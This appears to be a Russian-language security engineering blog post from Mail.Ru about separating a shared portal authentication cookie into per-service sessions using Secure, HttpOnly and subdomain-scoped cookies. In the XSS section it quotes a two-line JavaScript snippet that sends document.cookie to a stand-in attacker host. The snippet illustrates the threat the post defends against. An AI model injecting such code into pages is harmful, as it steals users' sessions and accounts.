Mail.Ru — огромный портал, существующий более 15-ти лет. За это время мы прошли путь от небольшого веб-проекта до самого посещаемого сайта рунета. В состав портала входит огромное количество сервисов, у каждого из которых своя судьба, и над каждым из которых работает отдельная команда. Разработчикам пришлось как следует потрудиться, чтобы на всех проектах — и новых, и старых, и тех, которые присоединились к порталу по мере его развития, — использовалась единая система авторизации. А через много лет перед нами встала фактически обратная задача: разделить пользовательские сессии. О том, зачем мы это делали, какие трудности нас ожидали и как мы их обошли, я расскажу в этом посте.
Вернемся на много лет назад. Так как все сервисы компании находились в одном домене второго уровня с разделением на домены третьего уровня, внедрение общей авторизации казалось достаточно тривиальной задачей. Для ее решения выбрали классический (на тот момент) вариант: перевели все ресурсы на единую авторизационную форму, выставили авторизационную куку на домен второго уровня, а на серверной стороне стали проверять корректность переданной куки. Просто, красиво и работает:
Set-Cookie: Mpop=1406885629:fbd9c78cdb2c08634e0977fa1b9e6c6c:user@mail.ru:; domain=.mail.ru
Постепенно сервисы привыкли к использованию общей авторизационной куки, добавили в неё %LOGIN_NAME% для более удобного отображения на страницах портала, и стали обращаться к этой куке при помощи JavaScript на своих страницах. Однако времена менялись…
Враг не дремлет
По мере роста компании пользовательские аккаунты стали лакомой добычей для злоумышленников всех мастей. Сперва появились брутфорсеры. Они ограничивались перебором пользовательских паролей в поисках желающих увековечить дату своего рождения или имя любимого питомца.
За ними подтянулись фишеры. Они стали рассылать пользователям портала письма, похожие на письма Mail.Ru. Либо содержащие ссылки на сайты, которые притворялись портальным авторизационным центром, и различными способами пытались выудить пароли пользователей.
Мы тоже не дремлем
К борьбе с фишерами и брутфосерами приступили команды антиспама и информационной безопасности. Технологии и агитация принесли свои плоды: взломов стало существенно меньше. Хотя слабые пароли вкупе с человеческой доверчивостью и по сей день являются главными помощниками в деле отъема учеток у населения, но это уже лирическое отступление.
Через некоторое время подобный бизнес начал приносить деньги, и вслед за школьниками подтянулась тяжёлая артиллерия. Появились злоумышленники, которые находили уязвимости в веб-сервисах и использовали их для получения доступа к пользовательским аккаунтам. Помимо этого, они находили способ прослушать трафик между пользовательским компьютером и сервисами компании. Целью всей этой противозаконной деятельности была авторизационная сессия пользователя — та самая портальная кука.
Всегда ли HTTPS — HTTPS?
Ключевые в плане защиты пользовательских данных сервисы, например, Почту или Облако, мы спрятали за HTTPS. Использование защищенного HTTPS соединения, казалось бы, решало наши проблемы. Данные, передаваемые по такому соединению, шифруются и подписываются, поэтому третья сторона не сможет прочитать или подменить их.
Но что произойдет, если хакер, находящийся между сервером и браузером, заставит браузер пользователя зайти на сайт портала по незащищенному протоколу? Для этого ему достаточно будет перехватить любой HTTP-ответ, отправленный пользователю в незашифрованном виде, и добавить в него картинку с правильным адресом:
Хакер заставляет браузер пользователя посетить портал по нешифрованному соединению. Как видно на схеме, кука session_id автоматически отправится на сервер портала в нешифрованном соединении, и, конечно же, хакер легко сможет ее перехватить. После этого он сможет пользоваться аккаунтом пользователя так, как если бы ему был известен пароль. Чтобы этого избежать, сервер может выставить для куки флаг Secure. Он сигнализирует браузеру, что отправлять эту куку на сервер нужно только в случае, если подключение выполняется по протоколу HTTPS. Выставляется флаг так:
HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: session_id=c9aaf792b29afc98fc12cd613e5330b6; secure
Это важный нюанс, который нужно учитывать при настройке HTTPS на сервере: установка Secure-флага для авторизационных кук — это абсолютный must-have для сервиса в наше время. На большом портале эта проблема становится еще актуальнее. В условиях центральной авторизации использование HTTP в сервисе, находящемся в домене портала, дает зеленый свет желающим обойти HTTPS. Но даже если всё за HTTPS и невосприимчиво к прослушке трафика, всегда актуальными остаются риски эксплуатации веб-уязвимостей на сервисе, например XSS. Так что приходится либо отказываться от общей авторизации, либо идти другим путем, о котором я расскажу позже.
Без XSS
«Межсайтовый скриптинг (или XSS), среди прочего вредного, может использовать авторизацию пользователя в веб-системе для получения к ней расширенного доступа или для получения авторизационных данных пользователя», — говорит нам Википедия. При использовании XSS-уязвимости в большинстве случаев главной целью злоумышленников становятся именно авторизационные куки, которые в дальнейшем используются для получения доступа к аккаунту. Обычно взломщики используют примерно такой JS-код для угона сессии пользователя:
var іmg = new Image();
іmg.srс = 'http://hacker.site/xss-sniffer.php?' + document.cookie;
Безусловно, самым важным и действенным методом борьбы с ошибками XSS является предотвращение их появления: тестирование, обучение разработчиков, код-ревью, аудиты информационной безопасности. Тем не менее, при наличии большого числа проектов с разными командами, невозможно добиться кода, абсолютно лишенного ошибок. Наша основная цель — защита пользовательского аккаунта. И мы должны позаботиться о том, чтобы он оставался в безопасности независимо от того, есть ли в системе XSS-уязвимости и пытаются ли их использовать.
В этом нам могут помочь HttpOnly куки. HttpOnly — это куки, которые невозможно прочитать с помощью JavaScript, но которые при этом доступны серверным скриптам, как любые другие. Несмотря на то, что это далеко не новая технология (например, у Microsoft поддержка HttpOnly куки появилась 8 лет назад в IE6 SP1), не все знают, почему их стоит использовать везде, где это возможно. Куки, недоступные из JavaScript, будут своеобразным вторым рубежом обороны от злоумышленников, планирующих XSS-атаку: прокравшийся на страницу вредоносный код не сможет утащить пользовательские куки с помощью document.cookie. Кроме того, использование флага HttpOnly в куках помогает защитить пользовательский аккаунт от недоверенных скриптов, баннеров или счётчиков, которые могут подгружаться с неподконтрольных компании ресурсов.
Нет в мире совершенства, и HttpOnly куки также нельзя назвать панацеей: флаг HttpOnly не спасает полностью от XSS-уязвимостей. Зато он сильно ограничивает варианты эксплуатации: он не позволит вредоносному JS-коду увести сессию авторизации. Существуют ситуации, когда их использование становится невозможным. Например, при активном использовании Flash. Тем не менее, это не повод полностью отказываться от HttpOnly куки. Можно минимизировать риски, сочетая два вида кук и используя HttpOnly хотя бы там, где это возможно. Итак, мы выставили Secure и HttpOnly флаги для кук — что ещё?
Подоменные куки
Как вы помните, для обеспечения сквозной авторизации на всех сервисах компании мы использовали одну авторизационную куку, выставленную на домен второго уровня. Общая авторизационная кука — это не только удобство, но еще и возможность получить доступ ко всем сервисам разом с помощью одной уязвимости на любом проекте компании. Украв авторизационную куку с сервиса a.ya-site-s-obschey-avtorizaciey.ru, мы получаем доступ на b.ya-site-s-obschey-avtorizaciey.ru.
Аналогичным образом работает сниффинг трафика, если только не используются Secure куки. Если один сервис компании безопасен и использует HTTPS, а другой ходит по HTTP, то достаточно инструктировать браузер пользователя на поход на менее защищенный сервис, украсть авторизационную куку и использовать её для авторизации в безопасном сервисе.
Теперь для решения этой проблемы у кук выставляется атрибут domain:
HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: session_id=c9aaf792b29afc98fc12cd613e5330b6; domain=a.company.com; secure
Такая кука будет отправляться браузером только в запросах на домен a.company.com и его поддомены. При использовании подоменных кук, в случае нахождения уязвимости на отдельно взятом сервисе, пострадает только он. Справедливо это как для XSS, так и для других уязвимостей.
И как все это связать?
Итак, мы перевели на HTTPS ключевые сервисы, обзавелись подоменными куками, ищем и искореняем уязвимости и вообще стараемся всячески обезопасить себя и пользователя со всех сторон. А как же единая авторизация? Для обеспечения общей авторизации в нашей разнородной среде, где рядом сосуществуют HTTP и HTTPS, мы ввели дополнительные доменные куки, необходимые для усиления безопасности использования конкретного проекта. Помимо основной авторизационной куки (Mpop), в проектном домене выставляется дополнительная кука (sdc). Авторизация на этом проекте будет валидна только при наличии обеих кук — Mpop и внутридоменной sdc-куки.
Механизм разделения сессий в Mail.Ru работает следующим образом: аутентификация пользователя всегда происходит через единый центр авторизации, auth.mail.ru, который получает логин и пароль и выдает доменную куку .auth.mail.ru с флагами Secure и HTTPOnly. Ни один из проектов не имеет доступа к логину и пароля пользователя. Кука .auth.mail.ru также недоступна ни одному из проектов.
Когда пользователь заходит на сайт проекта, для которого у него еще нет авторизации, его запрос перенаправляется в центр авторизации. Центр авторизации аутентифицирует его по наличию куки .auth.mail.ru, генерирует одноразовый токен и перенаправляет на страницу проекта. Токен проксируется проектом в центр авторизации, который по нему генерирует уже проектную куку для .project.mail.ru. Таким образом, сохраняются все преимущества единой портальной авторизации, но прозрачно для пользователя разделяется авторизация доступа к различным ресурсам.
Внедрение разделения сессий – это один небольшой, но крайне важный шаг в рамках общей идеологии разделения доступа, которой мы придерживаемся. Разграничение доступа позволяет сделать защиту ресурсов более консистентной, не ограничиваться «внешним контуром» – даже если атакующему удалось стащить сессию к одному из ресурсов или другим образом скомпрометировать его, последствия для пользователя будут минимальны. Помимо разделения сессий есть и другие, невидимые для пользователя (а это очень здорово) технологии разделения доступа. О них мы расскажем в одном из следующих постов.
Итак, мы пришли к тому, что даже объединенные общей платформой сервисы под капотом должны разделяться, и постепенно внедряем этот принцип на нашем портале. Уверены, что скоро по этому же пути пойдут и наши коллеги из других российских компаний, и значительная часть интернет-злоумышленников наконец останется без работы. Враг не пройдет!
Автор: z3apa3a